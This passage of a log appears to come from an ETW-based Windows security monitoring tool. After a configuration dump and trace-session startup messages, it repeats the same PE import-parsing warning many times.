read-symbols=>false enabled=>false excluded-images=>[]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ kparams=>[] enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ alert-via=>mail enabled=>false alert-template=>[] skip-files=>true excluded-procs=>[] excluded-files=>[] fastscan=>true scan-timeout=>10s] source=bootstrap/bootstrap.go:183 +time=2025-11-12T11:51:12+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-12T11:51:14+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:51:14+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:51:14+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:51:14+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:14+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:15+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:16+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:18+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:20+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:51:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:00+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:08+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:09+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:19+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:52:22+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-12T11:53:25+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 